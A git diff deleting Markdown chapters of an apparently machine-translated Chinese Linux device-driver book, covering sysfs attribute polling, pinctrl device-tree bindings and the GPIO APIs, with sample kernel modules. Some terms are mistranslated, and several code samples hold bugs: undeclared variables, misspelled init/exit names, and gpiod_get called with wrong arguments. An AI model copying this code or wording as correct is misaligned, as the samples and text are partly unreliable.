-最后,文件的创建和删除通过`class_{create|remove}_file`功能完成: - -```sh -int class_create_file(struct class *class, - const struct class_attribute *attr); - -void class_remove_file(struct class *class, - const struct class_attribute *attr); -``` - -Notice that `device_create_file()`, `bus_create_file()`, `driver_create_file()`, and `class_create_file()` all make an internal call to `sysfs_create_file()`. As they all are kernel objects, they have a `kobject` embedded into their structure. That `kobject` is then passed as a parameter to `sysfs_create_file`, as you can see as follows: - -```sh -int device_create_file(struct device *dev, - const struct device_attribute *attr) -{ - [...] - error = sysfs_create_file(&dev->kobj, &attr->attr); - [...] -} - -int class_create_file(struct class *cls, - const struct class_attribute *attr) -{ - [...] - error = - sysfs_create_file(&cls->p->class_subsys.kobj, - &attr->attr); - return error; -} - -int bus_create_file(struct bus_type *bus, - struct bus_attribute *attr) -{ - [...] - error = - sysfs_create_file(&bus->p->subsys.kobj, - &attr->attr); - [...] -} -``` - -# 允许 sysfs 属性文件被轮询 - -这里我们将看到如何不使 CPU 浪费轮询来感知 sysfs 属性数据可用性。想法是使用`poll`或`select`系统调用来等待属性内容的改变。使 sysfs 属性可修改的补丁是由**尼尔·布朗**和**格雷格·克罗-哈特曼**创建的。kobject 管理器(有权访问 kobject 的驱动)必须支持通知,以便在内容更改时允许`poll`或`select`返回(被释放)。达到目的的神奇功能来自内核端,就是`sysfs_notify()`: - -```sh -void sysfs_notify(struct kobject *kobj, const char *dir, - const char *attr) -``` - -如果`dir`参数非空,则用于查找子目录,该子目录包含属性(推测由`sysfs_create_group`创建)。每个属性一个`int`,每个对象一个`wait_queuehead`,每个打开的文件一个 int。 - -`poll`将返回`POLLERR|POLLPRI`,`select`将返回 fd,无论它是在等待读取、写入还是异常。阻止投票是从用户的角度进行的。`sysfs_notify()`应该只有在你调整了你的内核属性值之后才会被调用。 - -Think of the `poll()` (or `select()`) code as a **subscriber** to notice a change in an attribute of interest, and `sysfs_notify()` as a **publisher,** notifying subscribers of any changes. - -以下是随书提供的代码摘录,它是属性的存储函数: - -```sh -static ssize_t store(struct kobject *kobj, struct attribute *attr, - const char *buf, size_t len) -{ - struct d_attr *da = container_of(attr, struct d_attr, attr); - - sscanf(buf, "%d", &da->value); - printk("sysfs_foo store %s = %d\n", a->attr.name, a->value); - - if (strcmp(a->attr.name, "foo") == 0){ - foo.value = a->value; - sysfs_notify(mykobj, NULL, "foo"); - } - else if(strcmp(a->attr.name, "bar") == 0){ - bar.value = a->value; - sysfs_notify(mykobj, NULL, "bar"); - } - return sizeof(int); -} -``` - -来自用户空间的代码必须像这样来感知数据变化: - -1. 打开文件属性。 -2. 对所有内容进行虚拟阅读。 -3. 呼叫轮询请求`POLLERR|POLLPRI`(选择/排除也有效)。 -4. 当`poll`(或`select`)返回时(表示某个值发生了变化),读取数据发生变化的文件内容。 -5. 关闭文件并转到循环的顶部。 - -当怀疑 sysfs 属性可被轮询时,设置一个合适的超时值。用户空间示例与书籍示例一起提供。 - -# 摘要 - -现在,您已经熟悉了 LDM 概念及其数据结构(总线、类、设备驱动和设备),包括低级数据结构(即`kobject`、`kset`、`kobj_types`)和属性(或其组合),对象如何在内核中表示(因此 sysfs 和设备拓扑)不再是秘密。您将能够创建一个属性(或组),通过 sysfs 公开您的设备或驱动功能。如果上一个话题你看得很清楚,我们将进入下一个[第 14 章](14.html#ADP4S0-dbde2ca892a6480b9727afb6a9c9e924)、*引脚控制和 GPIO 子系统*,大量使用`sysfs`的力量。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev/14.md b/docs/linux-device-driver-dev/14.md deleted file mode 100644 index bc4a1033..00000000 --- a/docs/linux-device-driver-dev/14.md +++ /dev/null @@ -1,1000 +0,0 @@ -# 十四、引脚控制和 GPIO 子系统 - -大多数嵌入式 Linux 驱动和内核工程师使用 GPIOs 编写或使用管脚复用进行游戏。我所说的引脚是指组件的引出线。SoC 确实多路复用引脚,这意味着一个引脚可能有几个功能,例如,`arch/arm/boot/dts/imx6dl-pinfunc.h`中的`MX6QDL_PAD_SD3_DAT1`可以是 SD3 数据线 1、UART1 的 cts/rts、Flexcan2 的 Rx 或普通 GPIO。 - -选择引脚工作模式的机制称为引脚复用。负责的系统称为引脚控制器。在这一章的第二部分,我们将讨论**通用输入输出** ( **GPIO** ),这是一种引脚可以操作的特殊功能(模式)。 - -在本章中,我们将: - -* 浏览引脚控制子系统,看看如何在 DT 中声明它们的节点 -* 探索传统的基于整数的 GPIO 接口,以及新的基于描述符的接口 API -* 处理映射到 IRQ 的 GPIO -* 处理专用于 GPIOs 的 sysfs 接口 - -# 引脚控制子系统 - -**引脚控制** ( **引脚控制**)子系统允许管理引脚复用。在 DT 中,需要以某种方式多路复用引脚的器件必须声明所需的引脚控制配置。 - -pinctrl 子系统提供: - -* 引脚多路复用,允许为不同目的重用同一引脚,例如一个引脚是通用异步收发器发送引脚、通用输入输出线或高速接口数据线。多路复用会影响引脚组或单个引脚。 -* 引脚配置,应用引脚的电子特性,如上拉、下拉、驱动强度、去抖周期等。 - -这本书的目的仅限于使用引脚控制器驱动导出的函数,并不涉及如何编写引脚控制器驱动。 - -# Pinctrl 和设备树 - -pinctrl 只不过是一种收集引脚(不仅仅是 GPIO)并将它们传递给驱动的方法。引脚控制器驱动负责解析 DT 中的引脚描述,并在芯片中应用它们的配置。驱动通常需要一组两个嵌套节点来描述一组引脚配置。第一个节点描述组的功能(组将用于什么目的),第二个节点保存引脚配置。 - -如何在 DT 中分配引脚组在很大程度上取决于平台,因此也取决于引脚控制器驱动。每个引脚控制状态都有一个从 0 开始的连续整数标识。可以使用名称属性,该属性将被映射到标识的顶部,以便相同的名称总是指向相同的标识。 - -每个客户端设备自己的绑定决定了必须在其 DT 节点中定义的状态集,以及是否定义必须提供的状态标识集,或者是否定义必须提供的状态名称集。在任何情况下,引脚配置节点都可以通过两种属性分配给器件: - -* `pinctrl-`:这允许给出设备特定状态所需的 pinctrl 配置列表。这是一个显形列表,每个显形都指向一个引脚配置节点。这些被引用的引脚配置节点必须是它们所配置的引脚控制器的子节点。该列表中可能存在多个条目,因此可以配置多个引脚控制器,或者可以从单个引脚控制器的多个节点构建一个状态,每个节点都是整个配置的组成部分。 -* `pinctrl-name`:这允许给列表中的每个州命名。列表项 0 定义整数状态标识 0 的名称,列表项 1 定义状态标识 1 的名称,依此类推。状态标识 0 通常被命名为*默认为*。标准化状态列表可在`include/linux/pinctrl/pinctrl-state.h`中找到。 -* 以下是 DT 的摘录,显示了一些设备节点及其引脚控制节点: - -```sh -usdhc@0219c000 { /* uSDHC4 */ - non-removable; - vmmc-supply = <®_3p3v>; - status = "okay"; - pinctrl-names = "default"; - pinctrl-0 = <&pinctrl_usdhc4_1>; -}; - -gpio-keys { - compatible = "gpio-keys"; - pinctrl-names = "default"; - pinctrl-0 = <&pinctrl_io_foo &pinctrl_io_bar>; -}; - -iomuxc@020e0000 { - compatible = "fsl,imx6q-iomuxc"; - reg = <0x020e0000 0x4000>; - - /* shared pinctrl settings */ - usdhc4 { /* first node describing the function */ - pinctrl_usdhc4_1: usdhc4grp-1 { /* second node */ - fsl,pins = < - MX6QDL_PAD_SD4_CMD__SD4_CMD 0x17059 - MX6QDL_PAD_SD4_CLK__SD4_CLK 0x10059 - MX6QDL_PAD_SD4_DAT0__SD4_DATA0 0x17059 - MX6QDL_PAD_SD4_DAT1__SD4_DATA1 0x17059 - MX6QDL_PAD_SD4_DAT2__SD4_DATA2 0x17059 - MX6QDL_PAD_SD4_DAT3__SD4_DATA3 0x17059 - MX6QDL_PAD_SD4_DAT4__SD4_DATA4 0x17059 - MX6QDL_PAD_SD4_DAT5__SD4_DATA5 0x17059 - MX6QDL_PAD_SD4_DAT6__SD4_DATA6 0x17059 - MX6QDL_PAD_SD4_DAT7__SD4_DATA7 0x17059 - >; - }; - }; - [...] - uart3 { - pinctrl_uart3_1: uart3grp-1 { - fsl,pins = < - MX6QDL_PAD_EIM_D24__UART3_TX_DATA 0x1b0b1 - MX6QDL_PAD_EIM_D25__UART3_RX_DATA 0x1b0b1 - >; - }; - }; - // GPIOs (Inputs) - gpios { - pinctrl_io_foo: pinctrl_io_foo { - fsl,pins = < - MX6QDL_PAD_DISP0_DAT15__GPIO5_IO09 0x1f059 - MX6QDL_PAD_DISP0_DAT13__GPIO5_IO07 0x1f059 - >; - }; - pinctrl_io_bar: pinctrl_io_bar { - fsl,pins = < - MX6QDL_PAD_DISP0_DAT11__GPIO5_IO05 0x1f059 - MX6QDL_PAD_DISP0_DAT9__GPIO4_IO30 0x1f059 - MX6QDL_PAD_DISP0_DAT7__GPIO4_IO28 0x1f059 - MX6QDL_PAD_DISP0_DAT5__GPIO4_IO26 0x1f059 - >; - }; - }; -}; -``` - -在前面的例子中,引脚配置以` `的形式给出。例如: - -```sh -MX6QDL_PAD_DISP0_DAT15__GPIO5_IO09 0x80000000 -``` - -`MX6QDL_PAD_DISP0_DAT15__GPIO5_IO09`代表引脚功能,本例为 GPIO,`0x80000000`代表引脚设置。 - -对于这一行, - -```sh -MX6QDL_PAD_EIM_D25__UART3_RX_DATA 0x1b0b1 -``` - -`MX6QDL_PAD_EIM_D25__UART3_RX_DATA`代表引脚功能,是 UART3 的 RX 线,`0x1b0b1`代表的是设置。 - -引脚函数是一个宏,其值仅对引脚控制器驱动有意义。这些通常在位于`arch//boot/dts/`的头文件中定义。例如,如果使用一个 UDOO 四核,它有一个 i.MX6 四核(ARM),那么引脚函数头应该是`arch/arm/boot/dts/imx6q-pinfunc.h`。以下是对应 GPIO5 控制器第五行的宏: - -```sh -#define MX6QDL_PAD_DISP0_DAT11__GPIO5_IO05 0x19c 0x4b0 0x000 0x5 0x0 -``` - -``可以用来设置引体向上、下拉、守卫者、驱动力等等。如何指定取决于引脚控制器绑定,其值的含义取决于 SoC 数据手册,通常在 IOMUX 部分。在 i.MX6 IOMUXC 上,只有低于 17 位用于此目的。 - -这些前面的节点是从相应的驱动特定节点调用的。此外,这些引脚在相应的驱动初始化期间配置。在选择引脚组状态之前,必须首先使用`pinctrl_get()`功能获得引脚控制,调用`pinctrl_lookup_state()`以检查请求的状态是否存在,最后使用`pinctrl_select_state()`应用该状态。 - -下面是一个示例,展示了如何获取 pincontrol 并应用其默认配置: - -```sh -struct pinctrl *p; -struct pinctrl_state *s; -int ret; - -p = pinctrl_get(dev); -if (IS_ERR(p)) - return p; - -s = pinctrl_lookup_state(p, name); -if (IS_ERR(s)) { - devm_pinctrl_put(p); - return ERR_PTR(PTR_ERR(s)); -} - -ret = pinctrl_select_state(p, s); -if (ret < 0) { - devm_pinctrl_put(p); - return ERR_PTR(ret); -} -``` - -人们通常在驱动初始化期间执行这些步骤。该代码的合适位置可以在`probe()`功能中。 - -`pinctrl_select_state()` internally calls `pinmux_enable_setting()`, which in turn calls the `pin_request()` on each pin in the pin control node. - -可以通过`pinctrl_put()`功能释放引脚控制。可以使用资源管理版本的应用编程接口。也就是说,可以使用`pinctrl_get_select()`,给定状态的名称来选择,以便配置 pinmux。该功能在`include/linux/pinctrl/consumer.h`中定义如下: - -```sh -static struct pinctrl *pinctrl_get_select(struct device *dev, - const char *name) -``` - -其中`*name`是写在`pinctrl-name`属性中的州名。如果州名是`default`,可以直接调用`pinctr_get_select_default()`函数,这是`pinctl_get_select()`的包装: - -```sh -static struct pinctrl * pinctrl_get_select_default( - struct device *dev) -{ - return pinctrl_get_select(dev, PINCTRL_STATE_DEFAULT); -} -``` - -让我们在特定于电路板的 dts 文件(`am335x-evm.dts`)中看到一个真实的例子: - -```sh -dcan1: d_can@481d0000 { - status = "okay"; - pinctrl-names = "default"; - pinctrl-0 = <&d_can1_pins>; -}; -``` - -在相应的驱动中: - -```sh -pinctrl = devm_pinctrl_get_select_default(&pdev->dev); -if (IS_ERR(pinctrl)) - dev_warn(&pdev->dev,"pins are not configured from the driver\n"); -``` - -The pin control core will automatically claim the `default` pinctrl state for us when the device is probed. If one defines an `init` state, the pinctrl core will automatically set pinctrl to this state before the `probe()` function, and then switch to the `default` state after `probe()` (unless the driver explicitly changed states already). - -# GPIO 子系统 - -从硬件的角度来看,GPIO 是一种功能,一种引脚可以工作的模式。从软件的角度来看,一条 GPIO 无非是一条数字线,可以作为输入或输出,只能有两个值:(`1`为高或`0`为低)。内核 GPIO 子系统提供了您能想象到的从驱动内部设置和处理 GPIO 线的所有功能: - -* 在从驱动内部使用 GPIO 之前,应该向内核声明它。这是获得 GPIO 所有权的一种方式,防止其他驱动访问同一个 GPIO。获得 GPIO 的所有权后,您可以: - * 设定方向 - * 如果用作输出,切换其输出状态(驱动线高或低) - * 如果用作输入,设置去抖间隔并读取状态。对于映射到 IRQ 的 GPIO 线,可以定义应该在哪个边沿/电平触发中断,并注册一个每当中断发生时都会运行的处理程序。 - -在内核中处理 GPIO 实际上有两种不同的方式,如下所示: - -* 基于整数的遗留和折旧接口,其中 GPIOs 由整数表示 -* 新的和推荐的基于描述符的接口,其中 GPIO 由不透明的结构表示和描述,具有专用的 API - -# 基于整数的 GPIO 接口:传统 - -基于整数的接口是最著名的。GPIO 由一个整数标识,该整数用于需要在 GPIO 上执行的每个操作。以下是包含传统 GPIO 访问功能的标题: - -```sh -#include -``` - -在内核中有众所周知的函数来处理 GPIO。 - -# 申请和配置 GPIO - -可以使用`gpio_request()`功能来分配和获得 GPIO 的所有权: - -```sh -static int gpio_request(unsigned gpio, const char *label) -``` - -`gpio`代表我们感兴趣的 GPIO 号,`label`是 sysfs 中内核对 GPIO 使用的标签,如`/sys/kernel/debug/gpio`所示。您必须检查返回的值,其中`0`表示成功,错误为负错误代码。一旦完成了 GPIO,就应该使用`gpio_free()`功能释放它: - -```sh -void gpio_free(unsigned int gpio) -``` - -如有疑问,可使用`gpio_is_valid()`功能,在分配前检查该 GPIO 号在系统上是否有效: - -```sh -static bool gpio_is_valid(int number) -``` - -一旦我们拥有了 GPIO,我们就可以改变它的方向,这取决于需要,以及它应该是输入还是输出,使用`gpio_direction_input()`或`gpio_direction_output()`功能: - -```sh -static int gpio_direction_input(unsigned gpio) -static int gpio_direction_output(unsigned gpio, int value) -``` - -`gpio`是我们需要设置方向的 GPIO 号。在将 GPIO 配置为输出时,还有第二个参数:`value`,这是一旦输出方向有效,GPIO 应该处于的状态。这里,返回值也是零或负错误号。这些函数在内部映射到由提供我们使用的 GPIO 的 GPIO 控制器的驱动公开的低级回调函数之上。在接下来的[第 15 章](http://gpio)、 *gpio 控制器驱动- gpio_chip* 中,处理 GPIO 控制器驱动,我们会看到一个 GPIO 控制器,通过它的`struct gpio_chip`结构,必须公开一组通用的回调函数才能使用它的 GPIO。 - -一些 GPIO 控制器提供了改变 GPIO 去抖间隔的可能性(这仅在 GPIO 线路被配置为输入时有用)。该功能依赖于平台。可以使用`int gpio_set_debounce()`来实现: - -```sh -static int gpio_set_debounce(unsigned gpio, unsigned debounce) -``` - -其中`debounce`是去抖时间,单位为毫秒 - -All the preceding functions should be called in a context that may sleep. It is a good practice to claim and configure GPIOs from within the driver's `probe` function. - -# 访问 GPIO–获取/设置值 - -访问 GPIO 的时候要注意。在原子上下文中,尤其是在中断处理程序中,必须确保 GPIO 控制器回调函数不会休眠。设计良好的控制器驱动应该能够通知其他驱动(实际上是客户端)对其方法的调用是否可以休眠。这可以通过`gpio_cansleep()`功能进行检查。 - -None of the functions used to access GPIO return an error code. That is why you should pay attention and check return values during GPIO allocation and configuration. - -# 在原子环境中 - -有一些 GPIO 控制器可以通过简单的内存读/写操作来访问和管理。这些一般嵌入在 SoC 中,不需要休眠。`gpio_cansleep()`将始终返回那些控制器的`false`。对于此类 GPIO,您可以使用众所周知的`gpio_get_value()`或`gpio_set_value()`从一个 IRQ 处理程序中获取/设置它们的值,具体取决于配置为输入或输出的 GPIO 线路: - -```sh -static int gpio_get_value(unsigned gpio) -void gpio_set_value(unsigned int gpio, int value); -``` - -当 GPIO 配置为输入(使用`gpio_direction_input()`)时应使用`gpio_get_value()`,并返回 GPIO 的实际值(状态)。另一方面,`gpio_set_value()`将影响 GPIO 的值,GPIO 本应使用`gpio_direction_output()`配置为输出。对于这两个功能,`value`可以认为是`Boolean`,其中零表示低,非零值表示高。 - -# 在非原子环境中(可能休眠) - -另一方面,在 SPI 和 I2C 等总线上连接有 GPIO 控制器。由于访问这些总线的功能可能导致休眠,`gpio_cansleep()`功能应该总是返回`true`(由 GPIO 控制器负责返回真)。在这种情况下,您不应该从所处理的 IRQ 中访问这些 GPIOs,至少不要在上面一半(硬 IRQ)中。此外,您必须用作通用访问的访问器应该以`_cansleep`为后缀。 - -```sh -static int gpio_get_value_cansleep(unsigned gpio); -void gpio_set_value_cansleep(unsigned gpio, int value); -``` - -它们的行为完全像不带`_cansleep()`名称后缀的访问器,唯一的区别是它们防止内核在访问 GPIOs 时打印警告。 - -# 映射到 IRQ 的 GPIOs - -输入 GPIOs 通常可以用作 IRQ 信号。这种 IRQ 可以是边沿触发或电平触发的。配置取决于您的需求。GPIO 控制器负责提供 GPIO 与其 IRQ 之间的映射。可以使用`goio_to_irq()`将给定的 GPIO 号映射到其 IRQ 号: - -```sh -int gpio_to_irq(unsigned gpio); -``` - -返回值是 IRQ 号,在其上可以调用`request_irq()`(或线程版本`request_threaded_irq()`)来注册该 IRQ 的处理程序: - -```sh -static irqreturn_t my_interrupt_handler(int irq, void *dev_id) -{ - [...] - return IRQ_HANDLED; -} - -[...] -int gpio_int = of_get_gpio(np, 0); -int irq_num = gpio_to_irq(gpio_int); -int error = devm_request_threaded_irq(&client->dev, irq_num, - NULL, my_interrupt_handler, - IRQF_TRIGGER_RISING | IRQF_ONESHOT, - input_dev->name, my_data_struct); -if (error) { - dev_err(&client->dev, "irq %d requested failed, %d\n", - client->irq, error); - return error; -} -``` - -# 把它们放在一起 - -下面的代码是将所有关于基于整数的接口的概念付诸实践的总结。这个驱动管理四个 GPIOs:两个按钮(btn1 和 btn2)和两个指示灯(绿色和红色)。Btn1 被映射到一个 IRQ,每当它的状态变为低电平时,btn2 的状态就被施加到发光二极管上。例如,当 btn2 为高电平时,如果 btn1 的状态变为低电平,则`GREEN`和`RED` led 将被驱动为高电平: - -```sh -#include -#include -#include -#include /* For Legacy integer based GPIO */ -#include /* For IRQ */ - -static unsigned int GPIO_LED_RED = 49; -static unsigned int GPIO_BTN1 = 115; -static unsigned int GPIO_BTN2 = 116; -static unsigned int GPIO_LED_GREEN = 120; -static unsigned int irq; - -static irq_handler_t btn1_pushed_irq_handler(unsigned int irq, - void *dev_id, struct pt_regs *regs) -{ - int state; - - /* read BTN2 value and change the led state */ - state = gpio_get_value(GPIO_BTN2); - gpio_set_value(GPIO_LED_RED, state); - gpio_set_value(GPIO_LED_GREEN, state); - - pr_info("GPIO_BTN1 interrupt: Interrupt! GPIO_BTN2 state is %d)\n", state); - return IRQ_HANDLED; -} - -static int __init helloworld_init(void) -{ - int retval; - - /* - * One could have checked whether the GPIO is valid on the controller or not, - * using gpio_is_valid() function. - * Ex: - * if (!gpio_is_valid(GPIO_LED_RED)) { - * pr_infor("Invalid Red LED\n"); - * return -ENODEV; - * } - */ - gpio_request(GPIO_LED_GREEN, "green-led"); - gpio_request(GPIO_LED_RED, "red-led"); - gpio_request(GPIO_BTN1, "button-1"); - gpio_request(GPIO_BTN2, "button-2"); - - /* - * Configure Button GPIOs as input - * - * After this, one can call gpio_set_debounce() - * only if the controller has the feature - * - * For example, to debounce a button with a delay of 200ms - * gpio_set_debounce(GPIO_BTN1, 200); - */ - gpio_direction_input(GPIO_BTN1); - gpio_direction_input(GPIO_BTN2); - - /* - * Set LED GPIOs as output, with their initial values set to 0 - */ - gpio_direction_output(GPIO_LED_RED, 0); - gpio_direction_output(GPIO_LED_GREEN, 0); - - irq = gpio_to_irq(GPIO_BTN1); - retval = request_threaded_irq(irq, NULL,\ - btn1_pushed_irq_handler, \ - IRQF_TRIGGER_LOW | IRQF_ONESHOT, \ - "device-name", NULL); - - pr_info("Hello world!\n"); - return 0; -} - -static void __exit hellowolrd_exit(void) -{ - free_irq(irq, NULL); - gpio_free(GPIO_LED_RED); - gpio_free(GPIO_LED_GREEN); - gpio_free(GPIO_BTN1); - gpio_free(GPIO_BTN2); - - pr_info("End of the world\n"); -} - -module_init(hellowolrd_init); -module_exit(hellowolrd_exit); - -MODULE_AUTHOR("John Madieu "); -MODULE_LICENSE("GPL"); -``` - -# 基于描述符的 GPIO 接口:新的推荐方式 - -使用新的基于描述符的 GPIO 接口,GPIO 的特征在于连贯的`struct gpio_desc`结构: - -```sh -struct gpio_desc { - struct gpio_chip *chip; - unsigned long flags; - const char *label; -}; -``` - -应该使用以下标题来使用新接口: - -```sh -#include -``` - -使用基于描述符的接口,在分配和获得 gpio 的所有权之前,这些 gpio 必须已经被映射到某个地方。通过映射,我的意思是它们应该被分配给你的设备,而对于传统的基于整数的接口,你只需要在任何地方获取一个数字,并作为 GPIO 请求它。实际上,内核中有三种映射: - -* **平台数据映射**:映射在板卡文件中完成。 -* **设备树**:映射是以 DT 风格完成的,与前面章节讨论的相同。这是我们将在本书中讨论的映射。 -* **高级配置和电源接口映射** ( **ACPI** ):映射采用 ACPI 风格。通常用于基于 x86 的系统。 - -# GPIO 描述符映射-设备树 - -GPIO 描述符映射在消费设备的节点中定义。包含 GPIO 描述符映射的属性必须命名为`-gpios`或`-gpio`,其中``有足够的意义来描述这些 GPIO 将用于的功能。 - -应该总是在属性名后面加上`-gpio`或`-gpios`,因为每个基于描述符的接口函数都依赖于`gpio_suffixes[]`变量,该变量在`drivers/gpio/gpiolib.h`中定义,如下所示: - -```sh -/* gpio suffixes used for ACPI and device tree lookup */ -static const char * const gpio_suffixes[] = { "gpios", "gpio" }; -``` - -让我们看一看用于在 DT 中的设备中查找 GPIO 描述符映射的函数: - -```sh -static struct gpio_desc *of_find_gpio(struct device *dev, - const char *con_id, - unsigned int idx, - enum gpio_lookup_flags *flags) -{ - char prop_name[32]; /* 32 is max size of property name */ - enum of_gpio_flags of_flags; - struct gpio_desc *desc; - unsigned int i; - - for (i = 0; i < ARRAY_SIZE(gpio_suffixes); i++) { - if (con_id) - snprintf(prop_name, sizeof(prop_name), "%s-%s", - con_id, - gpio_suffixes[i]); - else - snprintf(prop_name, sizeof(prop_name), "%s", - gpio_suffixes[i]); - - desc = of_get_named_gpiod_flags(dev->of_node, - prop_name, idx, - &of_flags); - if (!IS_ERR(desc) || (PTR_ERR(desc) == -EPROBE_DEFER)) - break; - } - - if (IS_ERR(desc)) - return desc; - - if (of_flags & OF_GPIO_ACTIVE_LOW) - *flags |= GPIO_ACTIVE_LOW; - - return desc; -} -``` - -现在,让我们考虑以下节点,这是`Documentation/gpio/board.txt`的摘录: - -```sh -foo_device { - compatible = "acme,foo"; - [...] - led-gpios = <&gpio 15 GPIO_ACTIVE_HIGH>, /* red */ - <&gpio 16 GPIO_ACTIVE_HIGH>, /* green */ - <&gpio 17 GPIO_ACTIVE_HIGH>; /* blue */ - - power-gpios = <&gpio 1 GPIO_ACTIVE_LOW>; - reset-gpios = <&gpio 1 GPIO_ACTIVE_LOW>; -}; -``` - -这是一个映射应该是什么样子,有意义的名字。 - -# 分配和使用 GPIO - -可以使用`gpiog_get()`或`gpiod_get_index()`来分配一个 GPIO 描述符: - -```sh -struct gpio_desc *gpiod_get_index(struct device *dev, - const char *con_id, - unsigned int idx, - enum gpiod_flags flags) -struct gpio_desc *gpiod_get(struct device *dev, - const char *con_id, - enum gpiod_flags flags) -``` - -出错时,如果没有指定给定函数的 GPIO,这些函数将返回`-ENOENT`,或者出现另一个可以使用`IS_ERR()`宏的错误。第一个函数返回对应于给定索引处的 GPIO 的 GPIO 描述符结构,而第二个函数返回索引 0 处的 GPIO(对一个 GPIO 映射有用)。`dev`是 GPIO 描述符所属的设备。这是你的设备。`con_id`是 GPIO 消费者内部的功能。它对应于 DT 中属性名称的``前缀。`idx`是需要描述符的 GPIO 的索引(从 0 开始)。`flags`是一个可选参数,用于确定 GPIO 初始化标志,以配置方向和/或输出值。它是`enum gpiod_flags`的一个实例,在`include/linux/gpio/consumer.h`中定义: - -```sh -enum gpiod_flags { - GPIOD_ASIS = 0, - GPIOD_IN = GPIOD_FLAGS_BIT_DIR_SET, - GPIOD_OUT_LOW = GPIOD_FLAGS_BIT_DIR_SET | - GPIOD_FLAGS_BIT_DIR_OUT, - GPIOD_OUT_HIGH = GPIOD_FLAGS_BIT_DIR_SET | - GPIOD_FLAGS_BIT_DIR_OUT | - GPIOD_FLAGS_BIT_DIR_VAL, -}; -``` - -现在让我们为前面 DT 中定义的映射分配 GPIO 描述符: - -```sh -struct gpio_desc *red, *green, *blue, *power; - -red = gpiod_get_index(dev, "led", 0, GPIOD_OUT_HIGH); -green = gpiod_get_index(dev, "led", 1, GPIOD_OUT_HIGH); -blue = gpiod_get_index(dev, "led", 2, GPIOD_OUT_HIGH); - -power = gpiod_get(dev, "power", GPIOD_OUT_HIGH); -``` - -LED GPIOs 将为高电平有效,而电源 GPIO 将为低电平有效(即`gpiod_is_active_low(power)`为真)。分配的反向操作通过`gpiod_put()`功能完成: - -```sh -gpiod_put(struct gpio_desc *desc); -``` - -让我们看看如何释放`red`和`blue` GPIO 发光二极管: - -```sh -gpiod_put(blue); -gpiod_put(red); -``` - -在我们进一步讨论之前,请记住,除了与`gpio_request()`和`gpio_free()`完全不同的`gpiod_get()` / `gpiod_get_index()`和`gpio_put()`功能之外,只需将`gpio_`前缀更改为`gpiod_`就可以执行从基于整数的接口到基于描述符的接口的 API 转换。 - -也就是说,要改变方向,应该使用`gpiod_direction_input()`和`gpiod_direction_output()`功能: - -```sh -int gpiod_direction_input(struct gpio_desc *desc); -int gpiod_direction_output(struct gpio_desc *desc, int value); -``` - -`value`是方向设置为输出后应用于 GPIO 的状态。如果 GPIO 控制器具有此功能,可以使用其描述符设置给定 GPIO 的去抖超时: - -```sh -int gpiod_set_debounce(struct gpio_desc *desc, unsigned debounce); -``` - -为了访问给定描述符的 GPIO,必须和基于整数的接口一样注意。换句话说,应该注意自己是处于原子(无法睡眠)还是非原子环境中,然后使用适当的函数: - -```sh -int gpiod_cansleep(const struct gpio_desc *desc); - -/* Value get/set from sleeping context */ -int gpiod_get_value_cansleep(const struct gpio_desc *desc); -void gpiod_set_value_cansleep(struct gpio_desc *desc, int value); - -/* Value get/set from non-sleeping context */ -int gpiod_get_value(const struct gpio_desc *desc); -void gpiod_set_value(struct gpio_desc *desc, int value); -``` - -对于映射到 IRQ 的 GPIO 描述符,可以使用`gpiod_to_irq()`来获得对应于给定 GPIO 描述符的 IRQ 号,该描述符可以与`request_irq()`函数一起使用: - -```sh -int gpiod_to_irq(const struct gpio_desc *desc); -``` - -在代码中的任何给定时间,可以使用`desc_to_gpio()`或`gpio_to_desc()`函数从基于描述符的接口切换到基于整数的接口,反之亦然: - -```sh -/* Convert between the old gpio_ and new gpiod_ interfaces */ -struct gpio_desc *gpio_to_desc(unsigned gpio); -int desc_to_gpio(const struct gpio_desc *desc); -``` - -# 把它们放在一起 - -驱动总结了基于描述符的接口中引入的概念。原理是一样的,GPIOs 也是一样的: - -```sh -#include -#include -#include -#include /* For platform devices */ -#include /* For GPIO Descriptor */ -#include /* For IRQ */ -#include /* For DT*/ - -/* - * Let us consider the below mapping in device tree: - * - * foo_device { - * compatible = "packt,gpio-descriptor-sample"; - * led-gpios = <&gpio2 15 GPIO_ACTIVE_HIGH>, // red - * <&gpio2 16 GPIO_ACTIVE_HIGH>, // green - * - * btn1-gpios = <&gpio2 1 GPIO_ACTIVE_LOW>; - * btn2-gpios = <&gpio2 31 GPIO_ACTIVE_LOW>; - * }; - */ - -static struct gpio_desc *red, *green, *btn1, *btn2; -static unsigned int irq; - -static irq_handler_t btn1_pushed_irq_handler(unsigned int irq, - void *dev_id, struct pt_regs *regs) -{ - int state; - - /* read the button value and change the led state */ - state = gpiod_get_value(btn2); - gpiod_set_value(red, state); - gpiod_set_value(green, state); - - pr_info("btn1 interrupt: Interrupt! btn2 state is %d)\n", - state); - return IRQ_HANDLED; -} - -static const struct of_device_id gpiod_dt_ids[] = { - { .compatible = "packt,gpio-descriptor-sample", }, - { /* sentinel */ } -}; - -static int my_pdrv_probe (struct platform_device *pdev) -{ - int retval; - struct device *dev = &pdev->dev; - - /* - * We use gpiod_get/gpiod_get_index() along with the flags - * in order to configure the GPIO direction and an initial - * value in a single function call. - * - * One could have used: - * red = gpiod_get_index(dev, "led", 0); - * gpiod_direction_output(red, 0); - */ - red = gpiod_get_index(dev, "led", 0, GPIOD_OUT_LOW); - green = gpiod_get_index(dev, "led", 1, GPIOD_OUT_LOW); - - /* - * Configure GPIO Buttons as input - * - * After this, one can call gpiod_set_debounce() - * only if the controller has the feature - * For example, to debounce a button with a delay of 200ms - * gpiod_set_debounce(btn1, 200); - */ - btn1 = gpiod_get(dev, "led", 0, GPIOD_IN); - btn2 = gpiod_get(dev, "led", 1, GPIOD_IN); - - irq = gpiod_to_irq(btn1); - retval = request_threaded_irq(irq, NULL,\ - btn1_pushed_irq_handler, \ - IRQF_TRIGGER_LOW | IRQF_ONESHOT, \ - "gpio-descriptor-sample", NULL); - pr_info("Hello! device probed!\n"); - return 0; -} - -static void my_pdrv_remove(struct platform_device *pdev) -{ - free_irq(irq, NULL); - gpiod_put(red); - gpiod_put(green); - gpiod_put(btn1); - gpiod_put(btn2); - pr_info("good bye reader!\n"); -} - -static struct platform_driver mypdrv = { - .probe = my_pdrv_probe, - .remove = my_pdrv_remove, - .driver = { - .name = "gpio_descriptor_sample", - .of_match_table = of_match_ptr(gpiod_dt_ids), - .owner = THIS_MODULE, - }, -}; -module_platform_driver(mypdrv); -MODULE_AUTHOR("John Madieu "); -MODULE_LICENSE("GPL"); -``` - -# GPIO 接口和设备树 - -无论需要使用 GPIO 